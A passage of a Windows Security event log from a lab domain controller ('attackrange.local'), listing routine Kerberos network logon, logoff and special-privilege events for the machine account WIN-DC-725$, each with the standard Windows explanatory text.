GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64252 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249446 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4227 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249445 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE41C6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249444 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE41C6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64251 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249443 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE41C6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249466 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE447F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249465 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE447F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64258 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249464 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE447F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249463 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE441E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249462 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE441E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64257 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249461 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE441E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249460 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE43B8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249459 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE43B8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64256 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249458 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE43B8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249457 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4357 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249456 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4357 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64255 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249455 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4357 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249478 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4614 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249477 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4614 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64262 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249476 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4614 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249475 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE45B3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249474 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE45B3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64261 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249473 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE45B3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249472 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE454D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249471 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE454D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64260 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249470 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE454D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249469 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE44EC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249468 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE44EC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64259 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249467 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE44EC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:39 PM -LogName=Security 